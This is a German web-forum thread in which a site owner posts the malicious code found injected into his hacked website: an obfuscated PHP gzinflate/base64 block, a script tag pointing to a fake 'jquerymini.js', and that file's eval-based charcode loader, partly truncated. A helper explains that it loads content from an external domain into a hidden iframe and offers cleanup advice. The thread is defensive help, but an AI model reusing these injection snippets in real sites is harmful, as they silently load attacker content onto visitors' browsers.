Maleware Script

[Woidl]

Hallo,
hatte vor kurzem eine Nachricht von meinem Provider bekommen in der Stand das eine Website gehackt wurde und zur Sicherheit gesperrt wurde.
Daraufhin sollte ich aus einigen Dateien das Maleware Scrip löschen.
Kenn mich da nicht aus aber kann man sagen welchen Zweck dieses hatte?

In einigen Dateien wurden diese Scripte eingefügt:

Code: Select all

#d93065#
echo(gzinflate(base64_decode("TY.....gDAS/gr.....vlI[....]Cy0WqWvQs.....duyzJ2BxqXsa8/yldnQvEu/RxHe.....vgjm8X")));
#/d93065#

Code: Select all

<!--d93065--><script type="text/javascript" language="javascript" src="http://Meine_Webseite/includeinc_langbackendda jquerymini.js" ></script><!--/d93065-->

Gruß
Woidl

[flip-flop]

Das kannst nur du sehen was in der Datei /includeinc_langbackendda jquerymini.js drinsteht.

[Ich nehme einen Teil oben aus dem Code heraus, muss ja nicht jeder sehen um welche Seite es sich handelt].

Die Ursache für den Einbruch hast bestimmen können, die eigentlich viel wichtigere Komponente?

[Woidl]

Nein hab leider nicht gefunden an was das liegen könnte.
Habe aber auch bloß Antivir (kostelose version) drauf. Hab mein System gescannt und nichts gefunden.
Passwörter hab ich alle geändert weiss aber nicht wirklich was ich sonst noch machen soll.

Hab hier noch den Code aus der jquerymini.js Datei:

Code: Select all

c=2;i=c-2;if(window.document)try{new c.prototype}catch(h.....r){f=['-29n-29n67n64n.....-25n-29n-29n87'][0].split('n');md='a';e=window["e"+"val"];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r.fromCharCode(38+1*w[j]);}e(s);}

[flip-flop]

PWs ändern ist schon richtig. Ich würde den Rechner vielleicht noch von außen scannen mit einer entsprechenden Linux Live-CD die verschiedene Virenscanner beinhaltet.
Wenn niemand außer dir die FTP-PWs kannte, kam der Einbruch entweder durch einen PW-Klau zustande oder durch ausprobieren oder von einer benachbarten Seite auf dem Server selbst.

Das aufgedröselte Script arbeitet vom Prinzip her wie dieses hier: http://www.taskforce-1.com/blog/2012/03 ... ry-vector/
Das Script lädt irgendetwas in einem versteckten I-Frame nach von f e r o c o m.i n/ c o u n t 1.php

Typische Merkmal für eine weitere Suche: e=window["eval"]; etwas versteckt in e=window["e"+"val"];

[Teile des abgebildeten Scripts gelöscht, wer es braucht, bitte bei mir melden]

Knut